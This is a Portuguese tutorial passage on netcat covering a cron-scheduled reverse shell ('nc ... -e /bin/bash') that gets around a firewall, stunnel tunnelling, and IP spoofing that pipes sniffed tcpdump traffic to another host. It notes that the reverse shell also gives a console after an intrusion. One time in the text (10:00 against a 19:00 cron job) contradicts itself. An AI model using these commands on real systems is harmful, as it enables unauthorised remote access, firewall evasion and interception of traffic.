Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Também possuem algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes não tem um IP válido que podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp não poderia ser usado.
Por exemplo, temos um servidor que aceita apenas conexões externas na porta 80, mas não tem um IP externo válido. O computador de casa provavelmente possui um IP real válido e portas que podem ser abertas ou fechadas conforme a necessidade. Invertendo as direções das conexões pode-se resolver esse problema: basta fazer o computador do escritório conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa técnica é conhecida como
Telnet Reverso.
Vamos chamar o computador do escritório de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinâmico, precisaremos de um nome para DNS dinâmico, tipo o serviço fornecido pela
dyndns.org. No computador WORK configuramos um job cron para iniciar às 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sessão bash. Para isso, em casa deve-se iniciar (antes das 19:00) o
netcat das seguinte forma:
# nc -vv -l -p 80
Às 10:00, WORK conecta ao HOME, inicia o bash e está pronto para executar qualquer comando que queremos.
Testando o telnet reverso na nossa rede virtual:
Para colocar o cliente (HOME) em modo de espera, escutando uma conexão:
# nc -vv -l -p 80
Listening on any address 80
Para conectar a partir do servidor (WORK):
# nc 10.0.1.1 80 -e /bin/bash
Essa técnica é bem simples e eficiente, pois usa somente a porta 80, que dificilmente estará bloqueada no firewall. A partir do computador HOME você pode enviar comandos para o WORK e receber o resultado localmente.
Além disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invasão.
Você pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexão é HTTPS, você pode usar o tunnel para tunelar o nc, ou apenas o próprio stunnel. Para mais detalhes veja a man page do stunnel:
$ man stunnel
A sintaxe do comando deverá ser algo parecido com a seguinte linha:
$ (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port
IP Spoofing
Usando o netcat você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP. O comando deverá ser tipo:
$ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port>
Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de rede:
$ ifconfig eth0:N spoofed_ip
Onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já que o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta
hping.
Agradecimentos finais
Gostaria de agradecer ao Google, que é uma grande fonte de conhecimento, aos meus amigos Seth, Mobster, JP, Chemonz, que sempre me ajudaram quando tinha alguma dúvida, tendo uma paciência de Jó e o mais importante à Deus.
Fonte de consulta: